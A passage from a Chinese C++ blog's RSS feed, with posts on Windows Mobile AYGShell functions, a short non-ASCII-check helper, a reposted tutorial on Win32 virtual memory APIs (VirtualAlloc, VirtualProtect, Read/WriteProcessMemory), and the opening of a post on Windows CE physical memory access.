<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<span style="font-size: 12pt; font-family: 宋体;">这个框架完成了，<span lang="EN-US">driver</span>的基本接口设计，强调了内存指针的使用问题。但是相对于一个真正的<span lang="EN-US">driver</span>，还缺少点东西，就是访问硬件的方法。下面继续讨论如何访问硬件。</span><img src ="http://www.cppblog.com/zjj2816/aggbug/58805.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2008-08-14 09:28 <a href="http://www.cppblog.com/zjj2816/archive/2008/08/14/58805.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>windows mobile 函数</title><link>http://www.cppblog.com/zjj2816/archive/2007/12/25/39552.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Tue, 25 Dec 2007 02:00:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2007/12/25/39552.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/39552.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2007/12/25/39552.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/39552.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/39552.html</trackback:ping><description><![CDATA[&nbsp;Windows Mobile 6为开发人员带来的新特性 本次课程将为您介绍Windows Mobile 6提供的最新API，其中包括声音，WISP(Windows Ink Services for Pen (WISP))，DLOCK，Home Screen和其它可供开发人员在Windows Mobile中使用的API。 <br>Outlook DLock allows you to unlock locked attached files in Outlook XP.<br>NETCFv2.wm.armv4i.cab&nbsp;&nbsp;&nbsp;&nbsp; ,System_SR_CHS_wm.cab&nbsp;&nbsp; <br><br><br>以下 API 通过 AYGShell 公开。<br><br>编程元素 说明 <br>SHChangeNotifyDeregister<br>&nbsp;该函数禁用窗口接收文件更改通知的功能。<br>&nbsp;<br>SHChangeNotifyFree<br>&nbsp;该函数清除文件更改通知。<br>&nbsp;<br>SHChangeNotifyRegister<br>&nbsp;该函数登记用于接收更改通知的应用程序。<br>&nbsp;<br>SHCloseApps<br>&nbsp;该函数尝试为应用程序释放内存。<br>&nbsp;<br>SHCreateMenuBar<br>&nbsp;该函数在屏幕底部创建菜单栏。<br>&nbsp;<br>SHCreateNewItem<br>&nbsp;该函数以编程方式创建新的项，好像该项是从全局 NEW 下拉菜单中选择的。<br>&nbsp;<br>SHDoneButton<br>&nbsp;该函数允许应用程序基于应用程序的状态动态显示或隐藏 OK 按钮。<br>&nbsp;<br>SHEnumPropSheetHandlers<br>&nbsp;该函数通过枚举类项 hkey 下面的子项来支持属性表扩展。<br>&nbsp;<br>SHFindMenuBar<br>&nbsp;该函数用来获得菜单栏窗口的句柄。<br>&nbsp;<br>SHFreeContextMenuExtensions<br>&nbsp;该函数释放为处理上下文菜单而分配的内存。<br>&nbsp;<br>SHFullScreen<br>&nbsp;该函数用来接管某些屏幕区域。<br>&nbsp;<br>SHGetAppKeyAssoc<br>&nbsp;该函数用于确定导航控件是否被映射到应用程序。<br>&nbsp;<br>SHGetAutoRunPath<br>&nbsp;该函数搜索第一个存储卡，并构造用来查找自动运行文件的路径。<br>&nbsp;<br>SHHandleWMActivate<br>&nbsp;该函数用来帮助管理输入面板和您的应用程序。<br>&nbsp;<br>SHHandleWMSettingChange<br>&nbsp;该函数用来帮助管理输入面板和您的应用程序。<br>&nbsp;<br>SHInitDialog<br>&nbsp;该函数调整对话框的大小，使其适合软件输入面板。<br>&nbsp;<br>SHInitExtraControls<br>&nbsp;该函数调整对话框的大小，使其适合软件输入面板。<br>&nbsp;<br>SHInputDialog<br>&nbsp;该函数用于处理输入对话框。<br>&nbsp;<br>SHInvokeContextMenuCommand<br>&nbsp;该函数调用上下文菜单中的命令。<br>&nbsp;<br>SHLoadContextMenuExtensions<br>&nbsp;该函数从指定的上下文和类的配对所对应的注册表中列出的处理程序加载上下文菜单扩展。<br>&nbsp;<br>SHNotificationAdd<br>&nbsp;该函数将通知异步地添加到通知栏。<br>&nbsp;<br>SHNotificationGetData<br>&nbsp;该函数获得通知的数据。<br>&nbsp;<br>SHNotificationRemove<br>&nbsp;该函数删除通知。<br>&nbsp;<br>SHNotificationUpdate<br>&nbsp;该函数更新挂起通知的某些方面的内容。<br>&nbsp;<br>SHRecognizeGesture<br>&nbsp;该函数被自定义控件用来识别某些笔针的笔势。<br>&nbsp;<br>SHSetAppKeyWndAssoc<br>&nbsp;该函数指派某个窗口负责接收特定硬件按键的按键消息。<br>&nbsp;<br>SHSetNavBarText<br>&nbsp;该函数设置任务栏中的标题文本。<br>&nbsp;<br>SHSipInfo<br>&nbsp;该函数向外壳查询与输入面板和输入方法有关的信息。<br>&nbsp;<br>SHSipPreference<br>&nbsp;该函数为输入面板请求位置。<br><br><br>通过provxml文件配置的，<br><br>这个文件必须要编到BIN档里，如果修改文件名，bib也要相应修改。<br><br>platform.bib<br><img src ="http://www.cppblog.com/zjj2816/aggbug/39552.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2007-12-25 10:00 <a href="http://www.cppblog.com/zjj2816/archive/2007/12/25/39552.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>判断是否有非英文字符</title><link>http://www.cppblog.com/zjj2816/archive/2007/11/19/36951.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Mon, 19 Nov 2007 08:07:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2007/11/19/36951.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/36951.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2007/11/19/36951.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/36951.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/36951.html</trackback:ping><description><![CDATA[bool HaveNOASCII(LPWSTR str)<br>{<br>&nbsp;char nstring[100]={0};<br>&nbsp;wcstombs( nstring,str,100);<br>&nbsp;return (strlen(nstring)==wcslen(str));<br>&nbsp;<br>}
<img src ="http://www.cppblog.com/zjj2816/aggbug/36951.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2007-11-19 16:07 <a href="http://www.cppblog.com/zjj2816/archive/2007/11/19/36951.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）Windows应用程序捆绑核心编程</title><link>http://www.cppblog.com/zjj2816/archive/2007/11/15/36670.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Thu, 15 Nov 2007 04:40:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2007/11/15/36670.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/36670.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2007/11/15/36670.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/36670.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/36670.html</trackback:ping><description><![CDATA[<h3>1.3&nbsp; 虚拟内存访问</h3>
<p>每个进程都拥有自己的虚拟地址空间，那么怎样才能访问这个空间呢？这就需要用到Windows API函数。这些函数直接与编写程序相关，因而更受软件工程师的关注。有关这方面的函数较多，这里介绍几个重要的函数。</p>
<h3>1.3.1&nbsp; 获取系统信息</h3>
<p>在一个程序中不能直接应用某个系统的设备参数，否则将不利于程序的移植。因此，如果确实需要用到这样的设备参数，则需要一个系统信息函数来获得。VC++ 编译器所提供这样的函数为GetSystemInfo()。该函数需要一个指向SYSTEM_INFO结构的指针作为参数。其原型表示为：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>void GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中lpSystemInfo返回LPSYSTEM_INFO结构的地址，用于装载适当的系统信息，这个结构体定义为：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>typedef struct _SYSTEM_INFO {&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; union {&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwOemId;&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WORD wProcessorArchitecture;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WORD wReserved;&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }; </p>
<p>&nbsp;&nbsp;&nbsp; };&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD&nbsp; dwPageSize;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; LPVOID&nbsp; lpMinimumApplicationAddress;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; LPVOID&nbsp; lpMaximumApplicationAddress;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD_PTR&nbsp; dwActiveProcessorMask;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD&nbsp; dwNumberOfProcessors;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD&nbsp; dwProcessorType;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD&nbsp; dwAllocationGranularity;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; WORD&nbsp;&nbsp; wProcessorLevel;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; WORD&nbsp;&nbsp; wProcessorRevision;</p>
<p>} SYSTEM_INFO;</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中参数含义如下所述。</p>
<p>dwOemId：是一个过时选项，用于与Windows NT 3.5以及以前的版本兼容。</p>
<p>wProcessorArchitecture：指明处理的结构，如Intel、Alpha、Intel 64位或Alpha&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 64位。</p>
<p>dwPageSize：用于显示CPU的页面大小。在x86 CPU上，这个值是4096字节。在Alpha CPU上，这个值是8192字节。在IA-64上，这个值是8192字节。</p>
<p>lpMinimumApplicationAddress：用于给出每个进程可用地址空间的最小内存地址。在Windows 98上，这个值是0x400000，因为每个进程的地址空间中下面的4MB是不能使用的。在Windows 2K/XP上，这个值是0x10000，因为每个进程的地址空间中开头的64KB总是空闲的。</p>
<p>lpMaximumApplicationAddress：用于给出每个进程可用地址空间的最大内存地址。在Windows 98上，这个地址是0x7FFFFFFF，因为共享内存映射文件区域和共享操作系统代码包含在上面的2GB分区中。在Windows XP上，这个地址是0x7FFEFFFF。</p>
<p>dwActiveProcessorMask：位屏蔽，指明哪个CPU是活动的。</p>
<p>dwNumberOfProcessors：计算机中CPU的数目。</p>
<p>dwProcessorType：处理器类型。</p>
<p>dwAllocationGranularity：保留的地址空间区域的分配粒度。</p>
<p>wProcessorLevel：进一步细分处理器的结构。</p>
<p>wProcessorRevision：用于进一步细分处理器的级别。</p>
<p>wReserved：保留供将来使用。</p>
<p>在以上参数中只有lpMinimumApplicationAddress、lpMaximumApplicationAddress、dwPageSize和dwAllocationGranularity与内存有关。</p>
<h3>1.3.2&nbsp; 在应用程序中使用虚拟内存</h3>
<p>对内存分配可以采用不同的方法，常用的方法有：用C/C++语言的内存分配函数，例如，用malloc() 和 free()、new 和 delete 函数分配和释放堆内存；用Windows传统的全局或者局部内存分配函数，如GlobalAlloc()和GlobalFree()；用Win32的堆分配函数，如HeapAlloc()和HeapFree()；用Win32的虚拟内存分配函数，如VirtualAlloc()和VirtualFree()。注意，用不同的方法分配内存后，要用相对应的函数来释放所占用的内存。这里只介绍Win32的虚拟内存分配函数。</p>
<p>在进程创建之初并被赋予地址空间时，其虚拟地址空间尚未分配，处于空闲状态。这时地址空间内的内存是不能使用的，必须通过VirtualAlloc()函数来分配其中的各个区域，对其进行保留。VirtualAlloc()函数原型为：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>LPVOID VirtualAlloc(</p>
<p>&nbsp;&nbsp;&nbsp; LPVOID lpAddress, </p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwSize, </p>
<p>&nbsp;&nbsp;&nbsp; DWORD flAllocationType,</p>
<p>&nbsp;&nbsp;&nbsp; DWORD flProtect</p>
<p>&nbsp;&nbsp;&nbsp; ); </p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>该函数用来分配一定范围的虚拟页。参数1指定起始地址；参数2指定分配内存的长度；参数3指定分配方式，取值MEM_COMMINT或者MEM_RESERVE；参数4指定控制访问本次分配的内存的标识，取值为PAGE_READONLY、PAGE_READWRITE或者PAGE_NOACCESS。</p>
<p>分配完成后，即在进程的虚拟地址空间中保留了一个区域，可以对此区域中的内存进行保护权限许可范围内的访问。当不再需要访问此地址空间区域时，应释放此区域，由VirtualFree()负责完成。其函数原型为：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>BOOL VirtualFree(</p>
<p>&nbsp;&nbsp;&nbsp; LPVOID lpAddress,</p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwSize,</p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwFreeType</p>
<p>&nbsp;&nbsp;&nbsp; ); </p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中参数含义如下所述。</p>
<p>lpAddress：指向待释放页面区域的指针。如果参数dwFreeType指定了MEM_RELEASE，则lpAddress必须为页面区域保留由VirtualAlloc()所返回的基地址。</p>
<p>dwSize：指定了要释放的地址空间区域的大小，如果参数dwFreeType指定了MEM_RELEASE标志，则将dwSize设置为0，由系统计算在特定内存地址上的待释放区域的大小。</p>
<p>dwFreeType：为所执行的释放操作的类型，其可能的取值为MEM_RELEASE和MEM_DECOMMIT，其中MEM_RELEASE标志指明要释放指定的保留页面区域，MEM_DECOMMIT标志则对指定的占用页面区域进行占用的解除。</p>
<p>如果VirtualFree()执行完成，将回收全部范围的已分配页面，此后如再对这些已释&nbsp; 放页面区域内存进行访问将引发内存访问异常。释放后的页面区域可供系统继续分配&nbsp;&nbsp; 使用。</p>
<h3>1.3.3&nbsp; 获取虚存状态</h3>
<p>Windows API函数GlobalMemoryStatus()可用于检索关于当前内存状态的动态信息。在软件的About对话框中，通常用这个函数来获取系统内存的使用情况。其函数原型为：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>void GlobalMemoryStatus(LPMEMORYSTATUS lpmstMemStat);</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中lpmstMemStat返回MEMORYSTATUS结构的地址，这个结构体的定义为：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>typedef struct MEMORYSTATUS{</p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwLength;</p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwMemoryLoad;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwTotalPhys; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwAvailPhys; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwTotalPageFile; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwAvailPageFile;</p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwTotalVirtual; </p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwAvailVirtual;&nbsp; </p>
<p>} MEMORYSTATUS ,* LPMEMORYSTATUS;</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中参数含义如下所述。</p>
<p>dwLength：MEMORYSTATUS结构大小。</p>
<p>dwMemoryLoad：已使用内存所占的百分比。</p>
<p>dwTotalPhys：物理存储器的总字节数。</p>
<p>dwAvailPhys：空闲物理存储器的字节数。</p>
<p>dwTotalPageFile：页文件包含的最大字节数。</p>
<p>dwAvailPageFile：用户模式分区中空闲内存大小。</p>
<p>dwTotalVirtual：用户模式分区大小。</p>
<p>dwAvailVirtual：表示当前进程中还剩下的自由区域的总和。</p>
<p>在调用GlobalMemoryStatus()之前，必须将dwLength成员初始化为用字节表示的结构的大小，即一个MEMORYSTATUS结构的大小。这个初始化操作使得Microsoft能够在新版本Windows系统中将新成员添加到这个结构中，而不会破坏现有的应用程序。当调用GlobalMemoryStatus()时，它将对该结构的其余成员进行初始化并返回。</p>
<p>如果某个应用程序在内存大于4GB的计算机上运行，或者合计交换文件的大小大于4GB，那么可以使用新的GlobalMemoryStatusEx()函数。其函数的原型为：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>BOOL GlobalMemoryStatusEx(MEMORYSTATUSEX&nbsp; &amp;mst);</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中mst返回MEMORYSTATUSEX结构的填充信息，该结构体与原先的MEMORYSTATUS结构基本相同，差别在于新结构的所有成员的大小都是64位宽，因此它的值可以大于4 GB。</p>
<h3>1.3.4&nbsp; 确定虚拟地址空间的状态</h3>
<p>对内存的管理除了对当前内存的使用状态信息进行获取外，还经常需要获取有关进程的虚拟地址空间的状态信息。例如，如何得到一个进程已提交的页面范围？这就要用到两个 API函数VirtualQuery()或VirtualQueryEx()来进行查询。这两个函数的功能相似，不同就是VirtualQuery()只是查询本进程内存空间信息，而VirtualQueryEx()可以查询指定进程的内存空间信息。VirtualQuery()函数原型如下：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>DWORD VirtualQuery(</p>
<p>&nbsp;&nbsp;&nbsp; LPVOID lpAddress,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; PMEMORY_BASIC_INFORMATION lpBuffer, </p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwLength</p>
<p>&nbsp;&nbsp;&nbsp; );</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>VirtualQueryEx()函数原型如下：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>DWORD VirtualQueryEx(</p>
<p>&nbsp;&nbsp;&nbsp; HANDLE hProcess , </p>
<p>&nbsp;&nbsp;&nbsp; LPCVOID lpAddress , </p>
<p>&nbsp;&nbsp;&nbsp; PMEMORY_BASIC_INFORMATION lpBuffer , </p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwLength </p>
<p>&nbsp;&nbsp;&nbsp; ); </p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中参数含义如下所述。</p>
<p>hProcess：进程的句柄。</p>
<p>lpAddress：想要了解其信息的虚存地址。</p>
<p>lpBuffer：返回MEMORY_ BASIC_INFORMATION结构的地址。</p>
<p>dwLength：返回的字节数。</p>
<p>PWEMORY_BASIC_INFORMATION的定义如下：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>typedef struct _MEMORY_BASIC_INFORMATION{</p>
<p>&nbsp;&nbsp;&nbsp; PVOID BaseAddress;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; PVOID AllocationBase;</p>
<p>&nbsp;&nbsp;&nbsp; DWORD AllocationProtect;</p>
<p>&nbsp;&nbsp;&nbsp; DWORD RegionSize;</p>
<p>&nbsp;&nbsp;&nbsp; DWORD State;</p>
<p>&nbsp;&nbsp;&nbsp; DWORD Protect;</p>
<p>&nbsp;&nbsp;&nbsp; DWORD Type;</p>
<p>} MEMORY_BASIC_INFORMATION, * PMEMORY_BASIC_INFORMATION;</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中参数含义如下所述。</p>
<p>BaseAddress：被查询内存块的基地址。</p>
<p>AllocationBase：用VirtualAlloc()分配该内存时实际分配的基地址。</p>
<p>AllocationProtect：分配该页面时，页面的一些属性，如PAGE_READWRITE、PAGE_EXECUTE等（其他属性可参考 Platform SDK）。</p>
<p>RegionSize：从BaseAddress开始，具有相同属性的页面的大小。</p>
<p>State：页面的状态，有3种可能值：MEM_COMMIT、MEM_FREE和MEM_ RESERVE，这个参数是最重要的，从中可知指定内存页面的状态。</p>
<p>Protect：页面的属性，它可能的取值与 AllocationProtect 相同。</p>
<p>Type：指明了该内存块的类型，有3种可能值：MEM_IMAGE、MEM_MAPPED和MEM_PRIVATE。</p>
<h3>1.3.5&nbsp; 改变内存页面保护属性</h3>
<p>在进行进程挂钩时，经常要向内存页中写入部分代码，这就需要改变内存页的保护属性。有幸的是Win32提供了两个API函数VirtualProtect()和VirtualProtectEx()，它们可以对改变内存页保护。例如，在使用这两个函数时，可以先按PAGE_READWRITE属性来提交一个页的地址，并且立即将数据填写到该页中，然后再把该页的属性改变为PAGE_READONLY，这样可以有效地保护数据不被该进程中的任何其他线程重写。在调用这两个函数之前最好先了解有关页面的信息，可以通过VirtualQuery()来实现。</p>
<p>VirtualProtect()与VirtualProtectEx()函数的区别在于VirtualProtect()只适用于本进程，而VirtualProtectEx()可以适用于其他进程。VirtualProtect()函数原型如下：</p>
<p>BOOL VirtualProtect(</p>
<p>&nbsp;&nbsp;&nbsp; PVOID pvAddress,</p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwSize,</p>
<p>&nbsp;&nbsp;&nbsp; DWORD flNewProtect,</p>
<p>&nbsp;&nbsp;&nbsp; PDWORD pflOldProtect</p>
<p>&nbsp;&nbsp;&nbsp; );</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>VirtualProtectEx()函数原型如下：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>BOOL VirtualProtectEx(</p>
<p>&nbsp;&nbsp;&nbsp; HANDLE hProcess,</p>
<p>&nbsp;&nbsp;&nbsp; PVOID pvAddress,</p>
<p>&nbsp;&nbsp;&nbsp; DWORD dwSize,</p>
<p>&nbsp;&nbsp;&nbsp; DWORD flNewProtect,</p>
<p>&nbsp;&nbsp;&nbsp; PDWORD pflOldProtect</p>
<p>&nbsp;&nbsp;&nbsp; );</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中参数的含义如下所述。</p>
<p>hProcess：要修改内存的进程句柄。</p>
<p>pvAddress：指向内存的基地址（它必须位于进程的用户方式分区中）。</p>
<p>dwSize：用于指明想要改变保护属性的字节数。</p>
<p>flNewProtect：代表PAGE_*保护属性标志中的任何一个标志，但PAGE_ WRITECOPY和PAGE_EXECUTE_WRITECOPY这两个标志除外。</p>
<p>pflOldProtect：是DWORD大小的地址，VirtualProtect()和VirtualProtectEx()将用原先与pvAddress位置上的字节相关的保护属性填入该地址。尽管许多应用程序并不需要该信息，但是必须为该参数传递一个有效地址，否则该函数的运行将会失败。</p>
<h3>1.3.6&nbsp; 进行一个进程的内存读写</h3>
<p><img height=13 src="http://book.csdn.net/BookFiles/212/img/image039.gif" width=13>前面已经说明了如何获得一个进程的内存属性、如何分配内存和如何改变内存页的保护属性，其最终的目的是要对一个进程中内存内容进行读写。要完成此工作，需要用到两个函数：ReadProcessMemory() 和WriteProcessMemory()，这两个函数非常有用。如果知道了一个进程的句柄和内存地址，就可以用ReadProcessMemory()函数来得到该进程和该地址中的内容，此函数的原型为：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>BOOL ReadProcessMemory(</p>
<p>&nbsp;&nbsp;&nbsp; HANDLE hProcess,</p>
<p>&nbsp;&nbsp;&nbsp; LPCVOID lpBaseAddress,</p>
<p>&nbsp;&nbsp;&nbsp; LPVOID lpBuffer,</p>
<p>&nbsp;&nbsp;&nbsp; DWORD nSize,&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp; LPDWORD lpNumberOfBytesRead</p>
<p>&nbsp;&nbsp;&nbsp; );</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中hProcess为要读入的进程句柄，lpBaseAddress为读内存的起始地址，lpBuffer为读入数据的地址，nSize为要读入的字节数，lpNumberOfBytesRead为实际读入的字&nbsp;&nbsp; 节数。</p>
<p>同样，如果知道了一个进程的句柄和内存地址，可以用WriteProcessMemory()函数向该进程和该地址中写入新的内容，这个函数的原型为：</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>BOOL WriteProcessMemory(</p>
<p>&nbsp;&nbsp;&nbsp; HANDLE hProcess, </p>
<p>&nbsp;&nbsp;&nbsp; LPVOID lpBaseAddress,</p>
<p>&nbsp;&nbsp;&nbsp; LPVOID lpBuffer,</p>
<p>&nbsp;&nbsp;&nbsp; DWORD nSize,</p>
<p>&nbsp;&nbsp;&nbsp; LPDWORD lpNumberOfBytesWritten</p>
<p>&nbsp;&nbsp;&nbsp; );</p>
<p>l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>
<p>其中参数hProcess为要写入的进程句柄，lpBaseAddress为写内存的起始地址，lpBuffer为写入数据的地址，nSize为要写入的字节数，lpNumberOfBytesWritten为实际写入的字节数。</p>
<!-- page -->
<img src ="http://www.cppblog.com/zjj2816/aggbug/36670.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2007-11-15 12:40 <a href="http://www.cppblog.com/zjj2816/archive/2007/11/15/36670.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）Windows CE下访问物理内存的一些方法！！ </title><link>http://www.cppblog.com/zjj2816/archive/2007/11/15/36669.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Thu, 15 Nov 2007 04:28:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2007/11/15/36669.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/36669.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2007/11/15/36669.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/36669.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/36669.html</trackback:ping><description><![CDATA[<p><font size=2><span>嵌入式设备与桌面</span><span>PC</span><span>的一个显著不同是它的应用程序中通常需要直接访问某一段物理内存，这在驱动程序中对物理内存的访问尤为重要，尤其是像</span><span>ARM</span><span>体系结构下，</span><span>I/O</span><span>端口也被映射成某一个物理内存地址。因此，与桌面版本</span><span>Windows</span><span>相比，</span><span>Windows CE</span><span>提供了相对简单的物理内存访问方式。无论是驱动程序还是应用程序都可以通过</span><span>API</span><span>访问某一段物理内存。</span></font></p>
<p><font size=2><span>Windows CE</span><span>的有些函数中需要用到物理内存结构体</span><span>PHYSICAL_ADDRESS</span><span>，</span> <span>Windows CE</span><span>在</span><span>ceddk.h</span><span>中定义了</span><span>PHYSICAL_ADDRESS</span><span>，它其实是</span><span>LARGE_INTEGER</span><span>类型，其定义如下：</span></font></p>
<p><span><font size=2><font size=+0><font face="Courier New">// in ceddk.h</font></font></font></span></p>
